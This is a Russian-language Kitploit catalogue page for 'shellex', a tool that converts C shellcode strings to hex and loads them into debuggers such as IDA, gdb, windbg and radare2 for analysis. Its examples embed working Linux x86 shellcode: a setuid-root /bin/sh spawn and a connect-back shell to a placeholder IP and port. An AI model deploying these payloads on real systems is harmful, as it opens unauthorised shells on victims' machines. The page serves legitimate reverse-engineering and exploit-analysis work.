Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
shellex — Конвертер C-shellcode в hex, удобный инструмент для вставки и выполнения shellcode в IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger и 010 editor | Kitploit
Инструменты/GitHubGitHub/therealdreg/shellex
ЭксплуатацияОбратная инженерияШелл-кодОтладчикиУтилиты и фреймворкиАнализ Бинарных ФайловГенерация ШеллкодаРазработка Полезной Нагрузки
GitHubtherealdreg/shellex

shellex

Конвертер C-shellcode в hex, удобный инструмент для вставки и выполнения shellcode в IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger и 010 editor

Репозиторий
112233 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

shellex

ПРЕДУПРЕЖДЕНИЕ: самый уродливый код в мире

Конвертер C-шеллкода в HEX.

Пожалуйста, подумайте о пожертвовании: https://github.com/sponsors/therealdreg

Удобный инструмент для вставки и выполнения шеллкодов в IDA PRO, gdb, windbg, radare2, ollydbg, x64dbg, immunity debugger и 010 редакторе.

У вас проблемы с преобразованием C-шеллкодов в HEX (возможно, с комментариями на C и ASCII вперемешку)?

Вот shellex. Если шеллкод можно скомпилировать компилятором C, shellex может преобразовать его.

Просто запустите shellex, вставьте C-строку шеллкода и нажмите ENTER.

Для завершения используйте Control+Z (Windows) / Control+D (Linux)

Преобразование многострочного C-шеллкода с HEX и ASCII вперемешку (обратите внимание на смешанную часть \x68//sh\x68/bin\x89):

root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

shellex output:

root@kitploit:~
6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

Преобразование многострочного C-шеллкода с комментариями:

root@kitploit:~
"\x68"
"\x7f\x01\x01\x01"  // <- IP:  127.1.1.1
"\x5e\x66\x68"
"\xd9\x03"          // <- Port: 55555
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\xeb\xce"

shellex output:

root@kitploit:~
68 7F 01 01 01 5E 66 68 D9 03 5F 6A 66 58 99 6A 01 5B 52 53 6A 02 89 E1 CD 80 93 59 B0 3F CD 80 49 79 F9 B0 66 56 66 57 66 6A 02 89 E1 6A 10 51 53 89 E1 CD 80 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 EB CE

Нужен вывод shellex в виде новой C-строки шеллкода? Просто используйте параметр -h, пример преобразования вывода shellex:

root@kitploit:~
./shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80

Установка

root@kitploit:~
git clone https://github.com/therealdreg/shellex.git

Для Windows:

бинарник:

root@kitploit:~
shellex\bins\shellex.exe

Для Linux

Зависимости:

root@kitploit:~
sudo apt-get install tcc

бинарник:

root@kitploit:~
shellex/linuxbins/shellex

Вставка и выполнение шеллкода в ollydbg, x64dbg, immunity debugger

Просто используйте мой плагин xshellex:

https://github.com/therealdreg/xshellex

Вставка и выполнение шеллкода в IDA PRO с помощью IDAPYTHON

  • запустите shellex
  • введите шеллкод:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • нажмите enter
  • нажмите Control+D
  • преобразуйте вывод shellex в C-HEX-строку с помощью shellex -h:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • создайте свой IDAPYTHON скрипт:
root@kitploit:~
def writebytes(dest, str):
  for i, c in enumerate(str):
    idc.patch_byte(dest+i, ord(c));

address = idc.get_reg_value("eip")

shellcode = "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

writebytes(address, shellcode)

print("done!")
  • Скопируйте C-HEX-строку в переменную shellcode.
  • Для 32-бит используйте: address = idc.get_reg_value("eip")
  • Для 64-бит используйте: address = idc.get_reg_value("rip")

Отладка программы в IDA PRO:

  • Перейдите в File -> Script command...
  • в Script Language выберите: Python
  • Вставьте IDAPYTHON скрипт
  • Нажмите Run

Теперь вы можете отлаживать шеллкод с помощью F7, но возможно окно дизассемблера покажет шеллкод как 'db'. Вот решение:

  • Выделите байты шеллкода в окне дизассемблера
  • Правый клик -> Undefine
  • Снова выделите байты шеллкода в окне дизассемблера
  • Правый клик -> Code -> Force -> Yes

Готово! Теперь вы можете просмотреть дизассемблированный шеллкод и отлаживать его с помощью F7.

Вставка и выполнение шеллкода в gdb

  • запустите shellex
  • введите шеллкод:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • нажмите enter
  • нажмите Control+D
  • преобразуйте вывод shellex в C-HEX-строку с помощью shellex -h:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • запишите C-HEX-строку в файл как сырые бинарные данные с помощью "echo":
root@kitploit:~
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" > /tmp/sc
  • gdb /bin/ls
  • starti

Запишите бинарный файл в текущий указатель инструкции:

для 32 бит:

root@kitploit:~
restore /tmp/sc binary $eip
x/30b $eip
x/15i $eip

для 64 бит:

root@kitploit:~
restore /tmp/sc binary $rip
x/30b $rip
x/15i $rip

x/30b — это размер шеллкода в байтах; вы можете получить размер с помощью:

root@kitploit:~
wc -c /tmp/sc

x/15i — количество отображаемых инструкций; правильное число (возможно) можно получить с помощью ndisasm:

root@kitploit:~
sudo apt-get install nasm

Для 32 бит:

root@kitploit:~
ndisasm -b32 /tmp/sc
ndisasm -b32 /tmp/sc | wc -l

Для 64 бит:

root@kitploit:~
ndisasm -b64 /tmp/sc
ndisasm -b64 /tmp/sc | wc -l

Вставка и выполнение шеллкода в gdb-gef

  • запустите shellex
  • введите шеллкод:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • нажмите enter
  • нажмите Control+D
  • преобразуйте с помощью: echo "SPACE shellex_output" | sed "s/ / 0x/g"
root@kitploit:~
echo " 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80" | sed "s/ / 0x/g"

Используйте команду patch byte:

Для 32 бит:

root@kitploit:~
patch byte $eip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80

Для 64 бит:

root@kitploit:~
patch byte $rip 0x6A 0x17 0x58 0x31 0xDB 0xCD 0x80 0x6A 0x0B 0x58 0x99 0x52 0x68 0x2F 0x2F 0x73 0x68 0x68 0x2F 0x62 0x69 0x6E 0x89 0xE3 0x52 0x53 0x89 0xE1 0xCD 0x80

Выполните команду context и проверьте, корректен ли дизассемблер

Вставка и выполнение шеллкода в gdb-peda

  • запустите shellex
  • введите шеллкод:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • нажмите enter
  • нажмите Control+D
  • преобразуйте вывод shellex в C-HEX-строку с помощью shellex -h:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

Для 32 бит:

root@kitploit:~
patch $eip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

Для 64 бит:

root@kitploit:~
patch $rip "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80"

Выполните команду context и проверьте, корректен ли дизассемблер

Вставка и выполнение шеллкода в windbg

  • запустите shellex
  • введите шеллкод:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • нажмите enter
  • нажмите Control+D

через eb

Для небольших шеллкодов может подойти eb, просто используйте вывод shellex с командой eb (спасибо Axel Souchet @0vercl0k за подсказку)

Для 32 бит:

root@kitploit:~
eb @eip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

Для 64 бит:

root@kitploit:~
eb @rip 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

через файл

  • преобразуйте вывод shellex в сырые бинарные данные с помощью certutil:
root@kitploit:~
echo 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80 > C:\Users\Dreg\sc.hex
certutil -f -decodeHex c:\Users\Dreg\sc.hex c:\Users\Dreg\sc
del C:\Users\Dreg\sc.hex

certutil output:

root@kitploit:~
Input Length = 92
Output Length = 30
CertUtil: -decodehex command completed successfully.

Длина нашего шеллкода — 30, затем используйте L0n30 в windbg.

Запишите бинарный файл в текущий указатель инструкции:

для 32 бит:

root@kitploit:~
.readmem C:\Users\Dreg\sc @eip L0n30

для 64 бит:

root@kitploit:~
.readmem C:\Users\Dreg\sc @rip L0n30

Вставка и выполнение шеллкода в radare2

  • запустите shellex
  • введите шеллкод:
root@kitploit:~
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
  • нажмите enter
  • нажмите Control+D
  • преобразуйте вывод shellex в C-HEX-строку с помощью shellex -h:
root@kitploit:~
shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80
  • запишите C-HEX-строку в radare2 с помощью команды "w":

Для 32 бит:

root@kitploit:~
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @eip

Для 64 бит:

root@kitploit:~
w \x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80 @rip

Проверьте, правильно ли вставлен шеллкод:

Получите размер шеллкода в терминале с помощью:

root@kitploit:~
echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" | wc -c

Результат последней команды — 30. Теперь используйте команду pD в radare2:

root@kitploit:~
pD 30

Неинтерактивный режим

Преобразование "\x6a\x17\x58\x31\xdb\xcd\x80" в Linux:

root@kitploit:~
echo "\"\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\"" | shellex

Преобразование "\x6a\x17\x58\x31\xdb\xcd\x80" в Windows:

root@kitploit:~
echo "\x6a\x17\x58\x31\xdb\xcd\x80" | shellex.exe

Через многострочный файл в Windows:

root@kitploit:~
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
C:\Users\Dreg\Desktop\shellex\bins>type sc.txt | shellex.exe

Через многострочный файл в Linux:

root@kitploit:~
dreg@fr33project# cat sc.txt
"\x6a\x17\x58\x31\xdb\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
dreg@fr33project# cat sc.txt | shellex

Компиляция

Для Windows просто используйте Visual Studio 2013

  • https://my.visualstudio.com/Downloads?q=visual%20studio%202013&wt.mc_id=o~msft~vscom~older-downloads
  • https://go.microsoft.com/fwlink/?LinkId=532495&clcid=0x409

Для Linux просто:

root@kitploit:~
cd shellex/shellex
gcc -o shellex shellex.c
./shellex
Скачать инструмент